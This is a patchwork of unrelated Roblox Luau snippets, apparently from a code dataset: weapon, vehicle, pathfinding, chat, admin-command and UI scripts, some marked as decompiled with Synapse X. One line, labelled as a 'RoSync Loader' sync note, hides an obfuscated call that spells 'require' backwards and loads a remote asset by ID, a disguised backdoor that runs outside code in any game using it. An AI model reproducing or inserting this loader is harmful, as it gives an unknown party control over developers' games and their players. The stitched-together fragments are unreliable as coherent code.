Tool.GripRight = Vector3.new(0,-1,0)
Tool.GripUp = Vector3.new(-1,0,0)
end
function swordAcross()
-- parry
end
Tool.Enabled = true
local last_attack = 0
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
t = r.Stepped:wait()
if (t - last_attack < .2) then
lunge()
else
attack()
end
last_attack = t
--wait(.5)
Tool.Enabled = true
end
function onEquipped()
UnsheathSound:play()
end
script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)
connection = sword.Touched:connect(blow)
|
----------------------------------------------------------------------------------------------------
-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------
---------------------------------------------------------------------------------------------------- |
,VRecoil = {4,6} --- Vertical Recoil
,HRecoil = {6,9} --- Horizontal Recoil
,AimRecover = .85 ---- Between 0 & 1
,RecoilPunch = .15
,VPunchBase = 3.25 --- Vertical Punch
,HPunchBase = 2.5 --- Horizontal Punch
,DPunchBase = 1 --- Tilt Punch | useless
,AimRecoilReduction = 5 --- Recoil Reduction Factor While Aiming (Do not set to 0)
,PunchRecover = 0.2
,MinRecoilPower = .5
,MaxRecoilPower = 3
,RecoilPowerStepAmount = .25
,MinSpread = 7 --- Min bullet spread value | Studs
,MaxSpread = 40 --- Max bullet spread value | Studs
,AimInaccuracyStepAmount = 1.5
,WalkMultiplier = 0 --- Bullet spread based on player speed
,SwayBase = 0.25 --- Weapon Base Sway | Studs
,MaxSway = 1 --- Max sway value based on player stamina | Studs |
-- regeneration
--[[
while true do
local s = wait(4)
local health = Humanoid.Health
if health > 0 and health < Humanoid.MaxHealth then
health = health + 0.08 * s * Humanoid.MaxHealth
if health * 1.05 < Humanoid.MaxHealth then
Humanoid.Health = health
else
Humanoid.Health = Humanoid.MaxHealth
end
end
end
--]] | |
-- Apply some properties |
player.CameraMaxZoomDistance = 8
if humanoid.CameraOffset == Vector3.new(0,0,0) then
ok()
elseif humanoid.CameraOffset == Vector3.new(0,0,-1.2) then
ok()
elseif
humanoid.CameraOffset == Vector3.new(0,-1,-1.2) then
ok2()
elseif
humanoid.CameraOffset == Vector3.new(0,-3,-1.2) then
ok3()
end
function lock(part)
if part and part:IsA("BasePart") then
part.LocalTransparencyModifier = part.Transparency
part.Changed:connect(function (property)
part.LocalTransparencyModifier = part.Transparency
end)
end
end
for _,v in pairs(char:GetChildren()) do
lock(v)
end
char.ChildAdded:connect(lock)
c.Changed:connect(function (property)
if property == "CameraSubject" then
if c.CameraSubject and c.CameraSubject:IsA("VehicleSeat") and humanoid then
-- Vehicle seats try to change the camera subject to the seat itself. This isn't what we wan't really.
c.CameraSubject = humanoid;
end
end
end)
end
|
--Hand |
character.Constraint.ConstraintHand.Attachment1 = RHR
character.Constraint.ConstraintHand.Attachment0 = RHL |
-- Gets the player ready by spawning them |
local function readyPlayer(player, whichSpawn)
local character = player.Character or player.CharacterAdded:wait()
local humanoidRootPart = character:FindFirstChild("HumanoidRootPart")
humanoidRootPart.Anchored = true
-- Move player to SpeederSpawnLocation
character:SetPrimaryPartCFrame(whichSpawn.CFrame)
end
|
--------RIGHT DOOR -------- |
game.Workspace.doorright.l31.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l32.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l33.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l61.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l62.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l63.BrickColor = BrickColor.new(21)
|
-- Decompiled with the Synapse X Luau decompiler. |
local v1 = script:FindFirstAncestor("MainUI");
local l__LocalPlayer__2 = game.Players.LocalPlayer;
local l__TweenService__1 = game:GetService("TweenService");
return function(p1, p2, p3)
local v3 = game.ReplicatedStorage.Entities.Spider:Clone();
v3.Parent = p1.cam;
local v4 = v3.AnimationController:LoadAnimation(v3.Animations.Jump);
local v5 = tick();
for v6 = 1, 100 do
if v4.Length > 0 then
break;
end;
task.wait();
end;
local v7 = math.ceil(p2.Main.Size.X * 10) - 2;
local v8 = math.ceil(p2.Main.Size.Z * 10) - 2;
local v9 = Vector3.new(math.random(-v7, v7) / 22, 0, math.random(-v8, v8) / 22);
local v10 = CFrame.Angles(0, math.rad(math.random(0, 360)), 0);
v3:SetPrimaryPartCFrame((p2.Main.CFrame + v9) * v10);
local l__CFrame__11 = v3.PrimaryPart.CFrame;
for v12 = 1, 1000000 do
task.wait();
v3.PrimaryPart.CFrame = (p2.Main.CFrame + v9) * v10;
if v5 + p3 < tick() then
break;
end;
end;
v3.PrimaryPart.Sound:Play();
script.Scare:Play();
v4:Play(0);
local v13 = tick();
local l__CFrame__14 = v3.PrimaryPart.CFrame;
p1.camShaker:ShakeOnce(5, 6, 0.3, 0.6);
for v15 = 1, 1000000 do
task.wait();
v3.PrimaryPart.CFrame = l__CFrame__14:Lerp(CFrame.new(p1.cam.CFrame.Position + p1.cam.CFrame.LookVector * 0.35, p1.cam.CFrame.Position), (l__TweenService__1:GetValue((tick() - v13) / 0.2, Enum.EasingStyle.Linear, Enum.EasingDirection.In)));
if v13 + 0.2 < tick() then
break;
end;
end;
p1.camShaker:ShakeOnce(3, 24, 0, 1);
local v16 = tick();
for v17 = 1, 1000000 do
task.wait();
v3.PrimaryPart.CFrame = CFrame.new(p1.cam.CFrame.Position + p1.cam.CFrame.LookVector * 0.35, p1.cam.CFrame.Position);
if v16 + 0.6 < tick() then
break;
end;
end;
v3:Destroy();
end;
|
----------------------------------------------------------------------------------------------- |
script.Parent:WaitForChild("Gear")
script.Parent:WaitForChild("Speed")
script.Parent:WaitForChild("Needle")
local player=game.Players.LocalPlayer
local mouse=player:GetMouse()
local car = script.Parent.Parent.Parent.Car.Value
car.DriveSeat.HeadsUpDisplay = false
local _Tune = require(car["A-Chassis Tune"])
local _pRPM = _Tune.PeakRPM
local _lRPM = _Tune.Redline
local currentUnits = 1
local revEnd = math.ceil(_lRPM/1000)
script.Parent.Parent.Parent.Values.Gear.Changed:connect(function()
local gearText = script.Parent.Parent.Parent.Values.Gear.Value
if gearText == 0 then gearText = "N"
elseif gearText == -1 then gearText = "R"
end
script.Parent.Gear.Text = gearText
end)
script.Parent.Parent.Parent.Values.RPM.Changed:connect(function()
script.Parent.Needle.Rotation = 230 * math.min(1,script.Parent.Parent.Parent.Values.RPM.Value / (revEnd*1000))
end)
script.Parent.Parent.Parent.Values.Velocity.Changed:connect(function(property)
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Parent.Values.Velocity.Value.Magnitude)
end)
script.Parent.Speed.MouseButton1Click:connect(function()
if currentUnits==#UNITS then
currentUnits = 1
else
currentUnits = currentUnits+1
end
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Parent.Values.Velocity.Value.Magnitude)
script.Parent.Unit.Text = UNITS[currentUnits].units
end)
wait(.1)
|
--[[ Last synced 12/30/2021 08:43 RoSync Loader ]] | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
--[[INSTRUCCIONES
* Tiempo entre que toca SENSOR y PARADA: 20 segundos
]] |
function onTouched(hit)
campana.Playing = true
ondear.Value = 0.1
chimenea1.Enabled = false
chimenea2.Enabled = false
ruedaderecha1.AngularVelocity = -2
ruedaderecha2.AngularVelocity = -2
wait(10)
ondear.Value = 0.2
campana.TimePosition = 0
ruedaderecha1.AngularVelocity = -1
ruedaderecha2.AngularVelocity = -1
wait(10)
ruedaderecha1.AngularVelocity = 0
ruedaderecha2.AngularVelocity = 0
ondear.Value = 50
campana.Playing = false
wait(parada) --PARADA
ondear.Value = 0.2
humoizquierdo.Enabled = true
humoderecho.Enabled = true
chimenea1.Enabled = true
chimenea2.Enabled = true
ruedaderecha1.AngularVelocity = -0.5
ruedaderecha2.AngularVelocity = -0.5
wait(1)
ondear.Value = 0.1
ruedaderecha1.AngularVelocity = -1
ruedaderecha2.AngularVelocity = -1
humoizquierdo.Enabled = false
humoderecho.Enabled = false
wait(1)
ondear.Value = 0.05
ruedaderecha1.AngularVelocity = -2
ruedaderecha2.AngularVelocity = -2
humoizquierdo.Enabled = true
humoderecho.Enabled = true
wait(1)
ruedaderecha1.AngularVelocity = -3
ruedaderecha2.AngularVelocity = -3
humoizquierdo.Enabled = false
humoderecho.Enabled = false
end
script.Parent.Touched:connect(onTouched)
|
--[[Brakes]] |
Tune.ABSEnabled = false -- Implements ABS
Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS)
Tune.FBrakeForce = 10 -- Front brake force
Tune.RBrakeForce = 3500 -- Rear brake force
Tune.PBrakeForce = 40 -- Handbrake force
Tune.FLgcyBForce = 15 -- Front brake force [PGS OFF]
Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF]
Tune.LgcyPBForce = 25 -- Handbrake force [PGS OFF]
|
-- Etc |
local DESTROY_ON_DEATH = getValueFromConfig("DestroyOnDeath")
local RAGDOLL_ENABLED = getValueFromConfig("RagdollEnabled")
local DEATH_DESTROY_DELAY = 5
local PATROL_WALKSPEED = 12
local MIN_REPOSITION_TIME = 2
local MAX_REPOSITION_TIME = 10
local MAX_PARTS_PER_HEARTBEAT = 50
local SEARCH_DELAY = 1
|
-- if RunService:IsStudio() then
-- return nil
-- end |
local player = speaker:GetPlayer()
if player then
local success, canChat = pcall(function()
return Chat:CanUserChatAsync(player.UserId)
end)
if success and not canChat then
return ""
end
end
end)
end
local systemChannel = ChatService:AddChannel("System")
systemChannel.Leavable = false
systemChannel.AutoJoin = true
systemChannel.WelcomeMessage = ChatLocalization:Get("GameChat_ChatServiceRunner_SystemChannelWelcomeMessage","This channel is for system and game notifications.")
systemChannel.SpeakerJoined:connect(function(speakerName)
systemChannel:MuteSpeaker(speakerName)
end)
local function TryRunModule(module)
if module:IsA("ModuleScript") then
local ret = require(module)
if (type(ret) == "function") then
ret(ChatService)
end
end
end
local modules = game:GetService("Chat"):WaitForChild("ChatModules")
modules.ChildAdded:connect(function(child)
local success, returnval = pcall(TryRunModule, child)
if not success and returnval then
print("Error running module " ..child.Name.. ": " ..returnval)
end
end)
for i, module in pairs(modules:GetChildren()) do
local success, returnval = pcall(TryRunModule, module)
if not success and returnval then
print("Error running module " ..module.Name.. ": " ..returnval)
end
end
local Players = game:GetService("Players")
Players.PlayerRemoving:connect(function(playerObj)
if (ChatService:GetSpeaker(playerObj.Name)) then
ChatService:RemoveSpeaker(playerObj.Name)
end
end)
|
-----------------------------------PATHER-------------------------------------- |
local function createNewPopup(popupType)
local newModel = Instance.new("ImageHandleAdornment")
newModel.AlwaysOnTop = false
newModel.Image = "rbxasset://textures/ui/move.png"
newModel.ZIndex = 2
local size = ZERO_VECTOR2
if popupType == "DestinationPopup" then
newModel.Color3 = Color3.fromRGB(0, 175, 255)
size = Vector2.new(4,4)
elseif popupType == "DirectWalkPopup" then
newModel.Color3 = Color3.fromRGB(0, 175, 255)
size = Vector2.new(4,4)
elseif popupType == "FailurePopup" then
newModel.Color3 = Color3.fromRGB(255, 100, 100)
size = Vector2.new(4,4)
elseif popupType == "PatherPopup" then
newModel.Color3 = Color3.fromRGB(255, 255, 255)
size = Vector2.new(3,3)
newModel.ZIndex = 1
end
local dataStructure = {}
dataStructure.Model = newModel
function dataStructure:TweenIn()
local tween1 = tweenService:Create(self.Model,
TweenInfo.new(
1,
Enum.EasingStyle.Elastic,
Enum.EasingDirection.Out,
0,
false,
0
),{
Size = size
}
)
tween1:Play()
return tween1
end
function dataStructure:TweenOut()
local tween1 = tweenService:Create(self.Model,
TweenInfo.new(
.25,
Enum.EasingStyle.Quad,
Enum.EasingDirection.In,
0,
false,
0
),{
Size = ZERO_VECTOR2
}
)
tween1:Play()
return tween1
end
function dataStructure:Place(position, dest)
-- place the model at position
if not self.Model.Parent then
self.Model.Parent = workspace.Terrain
self.Model.Adornee = workspace.Terrain
local ray = Ray.new(position + Vector3.new(0, 2.5, 0), Vector3.new(0, -10, 0))
local hitPart, hitPoint, hitNormal = workspace:FindPartOnRayWithIgnoreList(ray, { workspace.CurrentCamera, Player.Character })
self.Model.CFrame = CFrame.new(hitPoint, hitPoint + hitNormal) * CFrame.Angles(0,0,0) + Vector3.new(0, 0.2,0)
end
end
return dataStructure
end
local function createPopupPath(points, numCircles)
-- creates a path with the provided points, using the path and number of circles provided
local popups = {}
local stopTraversing = false
local function killPopup(i)
-- kill all popups before and at i
for iter, v in pairs(popups) do
if iter <= i then
local tween = v:TweenOut()
spawn(function()
tween.Completed:wait()
v.Model:Destroy()
end)
popups[iter] = nil
end
end
end
local function stopFunction()
stopTraversing = true
killPopup(#points)
end
spawn(function()
for i = 1, #points do
if stopTraversing then
break
end
local includeWaypoint = i % numCircles == 0
and i < #points
and (points[#points].Position - points[i].Position).magnitude > 4
if includeWaypoint then
local popup = createNewPopup("PatherPopup")
popups[i] = popup
local nextPopup = points[i+1]
popup:Place(points[i].Position, nextPopup and nextPopup.Position or points[#points].Position)
local tween = popup:TweenIn()
wait(0.2)
end
end
end)
return stopFunction, killPopup
end
local function Pather(character, endPoint, surfaceNormal)
local this = {}
this.Cancelled = false
this.Started = false
this.Finished = Signal.Create()
this.PathFailed = Signal.Create()
this.PathStarted = Signal.Create()
this.PathComputing = false
this.PathComputed = false
this.TargetPoint = endPoint
this.TargetSurfaceNormal = surfaceNormal
this.MoveToConn = nil
this.CurrentPoint = 0
function this:Cleanup()
if this.stopTraverseFunc then
this.stopTraverseFunc()
end
if this.MoveToConn then
this.MoveToConn:disconnect()
this.MoveToConn = nil
this.humanoid = nil
end
this.humanoid = nil
end
function this:Cancel()
this.Cancelled = true
this:Cleanup()
end
function this:ComputePath()
local humanoid = findPlayerHumanoid(Player)
local torso = humanoid and humanoid.Torso
local success = false
if torso then
if this.PathComputed or this.PathComputing then return end
this.PathComputing = true
success = pcall(function()
this.pathResult = PathfindingService:FindPathAsync(torso.CFrame.p, this.TargetPoint)
end)
this.pointList = this.pathResult and this.pathResult:GetWaypoints()
this.PathComputing = false
this.PathComputed = this.pathResult and this.pathResult.Status == Enum.PathStatus.Success or false
end
return true
end
function this:IsValidPath()
if not this.pathResult then
this:ComputePath()
end
return this.pathResult.Status == Enum.PathStatus.Success
end
function this:OnPointReached(reached)
if reached and not this.Cancelled then
this.CurrentPoint = this.CurrentPoint + 1
if this.CurrentPoint > #this.pointList then
-- End of path reached
if this.stopTraverseFunc then
this.stopTraverseFunc()
end
this.Finished:fire()
this:Cleanup()
else
-- If next action == Jump, but the humanoid
-- is still jumping from a previous action
-- wait until it gets to the ground
if this.CurrentPoint + 1 <= #this.pointList then
local nextAction = this.pointList[this.CurrentPoint + 1].Action
if nextAction == Enum.PathWaypointAction.Jump then
local currentState = this.humanoid:GetState()
if currentState == Enum.HumanoidStateType.FallingDown or
currentState == Enum.HumanoidStateType.Freefall or
currentState == Enum.HumanoidStateType.Jumping then
this.humanoid.FreeFalling:wait()
-- Give time to the humanoid's state to change
-- Otherwise, the jump flag in Humanoid
-- will be reset by the state change
wait(0.1)
end
end
end
-- Move to the next point
if this.setPointFunc then
this.setPointFunc(this.CurrentPoint)
end
local nextWaypoint = this.pointList[this.CurrentPoint]
if nextWaypoint.Action == Enum.PathWaypointAction.Jump then
this.humanoid.Jump = true
end
this.humanoid:MoveTo(nextWaypoint.Position)
end
else
this.PathFailed:fire()
this:Cleanup()
end
end
function this:Start()
if CurrentSeatPart then
return
end
this.humanoid = findPlayerHumanoid(Player)
if this.Started then return end
this.Started = true
if SHOW_PATH then
-- choose whichever one Mike likes best
this.stopTraverseFunc, this.setPointFunc = createPopupPath(this.pointList, 4)
end
if #this.pointList > 0 then
this.MoveToConn = this.humanoid.MoveToFinished:connect(function(reached) this:OnPointReached(reached) end)
this.CurrentPoint = 1 -- The first waypoint is always the start location. Skip it.
this:OnPointReached(true) -- Move to first point
else
this.PathFailed:fire()
if this.stopTraverseFunc then
this.stopTraverseFunc()
end
end
end
this:ComputePath()
if not this.PathComputed then
-- set the end point towards the camera and raycasted towards the ground in case we hit a wall
local offsetPoint = this.TargetPoint + this.TargetSurfaceNormal*1.5
local ray = Ray.new(offsetPoint, Vector3_new(0,-1,0)*50)
local newHitPart, newHitPos = RayCastIgnoreList(workspace, ray, getIgnoreList())
if newHitPart then
this.TargetPoint = newHitPos
end
-- try again
this:ComputePath()
end
return this
end
|
------------------------- |
function onClicked()
R.Function1.Disabled = true
FX.ROLL.BrickColor = BrickColor.new("CGA brown")
FX.ROLL.loop.Disabled = true
FX.REVERB.BrickColor = BrickColor.new("CGA brown")
FX.REVERB.loop.Disabled = true
FX.GATE.BrickColor = BrickColor.new("CGA brown")
FX.GATE.loop.Disabled = true
FX.PHASER.BrickColor = BrickColor.new("CGA brown")
FX.PHASER.loop.Disabled = true
FX.SLIPROLL.BrickColor = BrickColor.new("CGA brown")
FX.SLIPROLL.loop.Disabled = true
FX.FILTER.BrickColor = BrickColor.new("CGA brown")
FX.FILTER.loop.Disabled = true
FX.SENDRETURN.BrickColor = BrickColor.new("Really red")
FX.SENDRETURN.loop.Disabled = true
FX.TRANS.BrickColor = BrickColor.new("CGA brown")
FX.TRANS.loop.Disabled = true
FX.ECHO.BrickColor = BrickColor.new("CGA brown")
FX.ECHO.loop.Disabled = true
FX.DELAY.BrickColor = BrickColor.new("CGA brown")
FX.DELAY.loop.Disabled = true
FX.REVROLL.BrickColor = BrickColor.new("CGA brown")
FX.REVROLL.loop.Disabled = true
R.loop.Disabled = false
R.Function2.Disabled = false
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
-- Decompiled with the Synapse X Luau decompiler. |
return { {
id = 340623941,
name = "Ninja Bandolier"
}, {
id = 101081225,
name = "Conductor's Gold Pocket Watch"
}, {
id = 1117745036,
name = "Garlic Lapel Pin"
}, {
id = 2131069286,
name = "UFO Lapel Pin"
}, {
id = 501965407,
name = "Scarlet Lapel Flower"
}, {
id = 1320949015,
name = "Dragon Head Lapel Pin"
} };
|
------------------------------------------------------------------------
-- dump debug information
------------------------------------------------------------------------ |
function luaU:DumpDebug(f, D)
local n
n = D.strip and 0 or f.sizelineinfo -- dump line information
--was DumpVector
self:DumpInt(n, D)
for i = 0, n - 1 do
self:DumpInt(f.lineinfo[i], D)
end
n = D.strip and 0 or f.sizelocvars -- dump local information
self:DumpInt(n, D)
for i = 0, n - 1 do
self:DumpString(f.locvars[i].varname, D)
self:DumpInt(f.locvars[i].startpc, D)
self:DumpInt(f.locvars[i].endpc, D)
end
n = D.strip and 0 or f.sizeupvalues -- dump upvalue information
self:DumpInt(n, D)
for i = 0, n - 1 do
self:DumpString(f.upvalues[i], D)
end
end
|
--[=[
@tag Component Instance
@param componentClass ComponentClass
@return Component?
Retrieves another component instance bound to the same
Roblox instance.
```lua
local MyComponent = Component.new({Tag = "MyComponent"})
local AnotherComponent = require(somewhere.AnotherComponent)
function MyComponent:Start()
local another = self:GetComponent(AnotherComponent)
end
```
]=] |
function Component:GetComponent(componentClass)
return componentClass[KEY_INST_TO_COMPONENTS][self.Instance]
end
|
--Ugh, now i have the M*A*S*H theme stuck in my head..... |
if string.sub(msg,1,9) == "teleport/" then
danumber = nil
for i =10,100 do
if string.sub(msg,i,i) == "/" then
danumber = i
break
end end
if danumber == nil then
return
end
local player1 = findplayer(string.sub(msg,10,danumber - 1),speaker)
if player1 == 0 then
return
end
local player2 = findplayer(string.sub(msg,danumber + 1),speaker)
if player2 == 0 then
return
end
if #player2 > 1 then
return
end
torso = nil
for i =1,#player2 do
if player2[i].Character ~= nil then
torso = player2[i].Character:FindFirstChild("Torso")
end end
if torso ~= nil then
for i =1,#player1 do
if player1[i].Character ~= nil then
local torso2 = player1[i].Character:FindFirstChild("Torso")
if torso2 ~= nil then
torso2.CFrame = torso.CFrame
end end end end end
if string.sub(msg,1,6) == "merge/" then
danumber = nil
for i =7,100 do
if string.sub(msg,i,i) == "/" then
danumber = i
break
end end
if danumber == nil then
return
end
local player1 = findplayer(string.sub(msg,7,danumber - 1),speaker)
if player1 == 0 then
return
end
local player2 = findplayer(string.sub(msg,danumber + 1),speaker)
if player2 == 0 then
return
end
if #player2 > 1 then
return
end
for i =1,#player2 do
if player2[i].Character ~= nil then
player2 = player2[i].Character
end end
for i =1,#player1 do
player1[i].Character = player2
end end
if msg == "clear" then
local c = game.Workspace:GetChildren()
for i =1,#c do
if c[i].className == "Script" then
if c[i]:FindFirstChild("Is A Created Script") then
c[i]:remove()
end end
if c[i].className == "Part" then
if c[i].Name == "Person299's Admin Command Script V2 Part thingy" then
c[i]:remove()
end end
if c[i].className == "Model" then
if string.sub(c[i].Name,1,4) == "Jail" then
c[i]:remove()
end end end end
if string.sub(msg,1,5) == "kick/" then
local imgettingtiredofmakingthisstupidscript2 = PERSON299(speaker.Name)
if imgettingtiredofmakingthisstupidscript2 == true then
local player = findplayer(string.sub(msg,6),speaker)
if player ~= 0 then
for i = 1,#player do
local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name)
if imgettingtiredofmakingthisstupidscript == false then
if player[i].Name ~= eloname then
player[i]:remove()
end end end end end end
if string.sub(msg,1,4) == "ban/" then
local imgettingtiredofmakingthisstupidscript2 = PERSON299(speaker.Name)
if imgettingtiredofmakingthisstupidscript2 == true then
local player = findplayer(string.sub(msg,5),speaker)
if player ~= 0 then
for i = 1,#player do
local imgettingtiredofmakingthisstupidscript = PERSON299(player[i].Name)
if imgettingtiredofmakingthisstupidscript == false then
if player[i].Name ~= eloname then
table.insert(bannedlist,player[i].Name)
player[i]:remove()
end end end end end end
if string.sub(msg,1,6) == "unban/" then
if string.sub(msg,7) == "all" then
for i=1,bannedlist do
table.remove(bannedlist,i)
end
else
local n = 0
local o = nil
for i=1,#bannedlist do
if string.find(string.lower(bannedlist[i]),string.sub(msg,7)) == 1 then
n = n + 1
o = i
end end
if n == 1 then
local name = bannedlist[o]
table.remove(bannedlist,o)
text(name .. " has been unbanned",1,"Message",speaker)
elseif n == 0 then
text("That name is not found.",1,"Message",speaker)
elseif n > 1 then
text("That name is ambiguous",1,"Message",speaker)
end end end
|
-- função para adicionar vírgulas a um número |
local function commaSeparateNumber(amount)
local formatted = amount
while true do
formatted, k = string.gsub(formatted, "^(-?%d+)(%d%d%d)", '%1,%2')
if k == 0 then
break
end
end
return "Exp:"..formatted
end
|
--print("jumping") |
local goal = {}
goal.Position = chicken.Position + Vector3.new(0,1,0)
local tweenInfo = TweenInfo.new(.7,Enum.EasingStyle.Quad,Enum.EasingDirection.Out,0,true,0)
local tween = ts:Create(chicken,tweenInfo,goal)
tween:Play()
end
while true do
local jumpchance = math.random(1,10)
if jumpchance < 5 then
jump()
end
wait(math.random(1,3))
end
|
--[[
Enters the view, cloning the element from ReplicatedStorage.
]] |
function Dead.enter()
failSound:Play()
activeElements = elements:Clone()
activeElements.Message.Text = translate("You didn't escape")
activeElements.Parent = LocalPlayer.PlayerGui
end
|
--[[Susupension]] |
Tune.SusEnabled = true -- Sets whether suspension is enabled for PGS
--Front Suspension
Tune.FSusStiffness = 9000 -- Spring Force
Tune.FSusDamping = 550 -- Spring Dampening
Tune.FAntiRoll = 100 -- Anti-Roll (Gyro Dampening)
Tune.FSusLength = 2 -- Resting Suspension length (in studs)
Tune.FPreCompress = .3 -- Pre-compression adds resting length force
Tune.FExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.FCompressLim = .8 -- Max Compression Travel (in studs)
Tune.FSusAngle = 85 -- Suspension Angle (degrees from horizontal)
Tune.FWsBoneLen = 4 -- Wishbone Length
Tune.FWsBoneAngle = 2 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Rear Suspension
Tune.RSusStiffness = 8500 -- Spring Force
Tune.RSusDamping = 550 -- Spring Dampening
Tune.RAntiRoll = 100 -- Anti-Roll (Gyro Dampening)
Tune.RSusLength = 2.2 -- Resting Suspension length (in studs)
Tune.RPreCompress = .3 -- Pre-compression adds resting length force
Tune.RExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.RCompressLim = .8 -- Max Compression Travel (in studs)
Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 4 -- Wishbone Length
Tune.RWsBoneAngle = 2 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Aesthetics
Tune.SusVisible = false -- Spring Visible
Tune.WsBVisible = false -- Wishbone Visible
Tune.SusRadius = .2 -- Suspension Coil Radius
Tune.SusThickness = .1 -- Suspension Coil Thickness
Tune.SusColor = "Really black" -- Suspension Color [BrickColor]
Tune.SusCoilCount = 6 -- Suspension Coil Count
Tune.WsColor = "Black" -- Wishbone Color [BrickColor]
Tune.WsThickness = .1 -- Wishbone Rod Thickness
|
-- Settings can be modified in lines 13-17
--=======================================-- |
local sm = Color3.fromRGB(17, 200, 216)--color of the messages
local welcomeMessage = "Welcome to the game!" -- message that a player is shown when they join
local welcomeMessageOn = true -- set to true to give a player a message when they join the game
local joinMessage = " has joined." -- will display as "[player] has joined.""
local displayJoinMessage = true
local leftMessage = " has left." -- will display as "[player] has left."
local displayLeaveMessage = true
|
--[[Engine]] |
--Torque Curve
Tune.Horsepower = 3000 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 2000 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6500 -- Use sliders to manipulate values
Tune.Redline = 10000
Tune.EqPoint = 7500
Tune.PeakSharpness = 10
Tune.CurveMult = 1
--Incline Compensation
Tune.InclineComp = 90 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 470 -- RPM acceleration when clutch is off
Tune.RevDecay = 486 -- RPM decay when clutch is off
Tune.RevBounce = 170 -- RPM kickback from redline
Tune.IdleThrottle = 0 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--[=[
@class Ser
Library for serializing and deserializing data.
See the `Classes` property for information on extending the use
of the Ser library to include other classes.
]=] |
local Ser = {}
|
-- Make signal strict |
setmetatable(Signal, {
__index = function(_, key)
error(("Attempt to get Signal::%s (not a valid member)"):format(tostring(key)), 2)
end,
__newindex = function(_, key, _)
error(("Attempt to set Signal::%s (not a valid member)"):format(tostring(key)), 2)
end
})
return Signal
|
-- Shorthands |
local vec3 = Vector3.new
local cframe = CFrame.new
local zeroVector = vec3(0, 0, 0)
local uz = vec3(0, 0, 1)
local ux = vec3(1, 0, 0)
local sqrt = math.sqrt
local dot = zeroVector.Dot
local cross = zeroVector.Cross
|
-- Play Button |
script.Parent.Frame.Frame.TextButton.MouseButton1Click:Connect(function()
cam.CameraType = Enum.CameraType.Custom
script.Parent.Enabled = false
script.Parent.Parent.ObbyTimer.Enabled = true
script.Parent.Parent.PackUI.Enabled = true
script.Parent.Parent.CompletionGUI.Enabled = true
looping = false
currentTween:Pause()
end)
|
-- If you want to know how to retexture a hat, read this: http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388 |
debounce = true
function onTouched(hit)
if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
debounce = false
h = Instance.new("Hat")
p = Instance.new("Part")
h.Name = "Hat" -- It doesn't make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat.
p.Parent = h
p.Position = hit.Parent:findFirstChild("Head").Position
p.Name = "Handle"
p.formFactor = 0
p.Size = Vector3.new(-0,-0,-1)
p.BottomSurface = 0
p.TopSurface = 0
p.Locked = true
script.Parent.Mesh:clone().Parent = p
h.Parent = hit.Parent
h.AttachmentPos = Vector3.new(0,-0.25,0) -- Change these to change the positiones of your hat, as I said earlier.
wait(5) debounce = true
end
end
script.Parent.Touched:connect(onTouched)
|
--[[if (script.Parent.Active) then
script.Parent.Name = "RESELECT"
while (script.Parent.Active) do wait() end
end
script.Parent.Name = "Plane"]] |
function changeGear()
gear = (not gear)
for _,v in pairs(gearParts) do
v.Transparency,v.Reflectance,v.CanCollide = (gear and v.Trans.Value or 1),(gear and v.Ref.Value or 0),(gear and v.Collide.Value or false) -- Learning how to code like this is extremely useful
end
end
function updateGui(taxiing,stalling)
panel.Off.Visible = (not on)
panel.Taxi.Visible,panel.Stall.Visible = taxiing,(not taxiing and stalling)
if ((realSpeed > -10000) and (realSpeed < 10000)) then
panel.Speed.Value.Text = tostring(math.floor(realSpeed+0.5))
end
panel.Altitude.Value.Text = tostring(math.floor(main.Position.y+0.5)) - 8
panel.Throttle.Bar.Amount.Size = UDim2.new(throttle,0,1,0)
end
function taxi() -- Check to see if the plane is on the ground or not
return (currentSpeed <= stallSpeed and game.Workspace:findPartOnRay(Ray.new(main.Position,Vector3.new(0,-lowestPoint,0)),plane)) -- Make sure plane is on a surface
end
function stall() -- Originally set as a giant ternary operation, but got WAY too complex, so I decided to break it down for my own sanity
if ((altRestrict) and (main.Position.y > altMax)) then return true end
local diff = ((realSpeed-stallSpeed)/200)
diff = (diff > 0.9 and 0.9 or diff)
local check = { -- Table placed here so I could easily add new 'checks' at ease. If anything in this table is 'true,' then the plane will be considered to be taxiing
(currentSpeed <= stallSpeed);
(main.CFrame.lookVector.y > (realSpeed < stallSpeed and -1 or -diff));
}
for _,c in pairs(check) do
if (not c) then return false end
end
return true
end
function fly(m) -- Main function that controls all of the flying stuff. Very messy.
flying = true
local pos,t = main.Position,time()
local lastStall = false
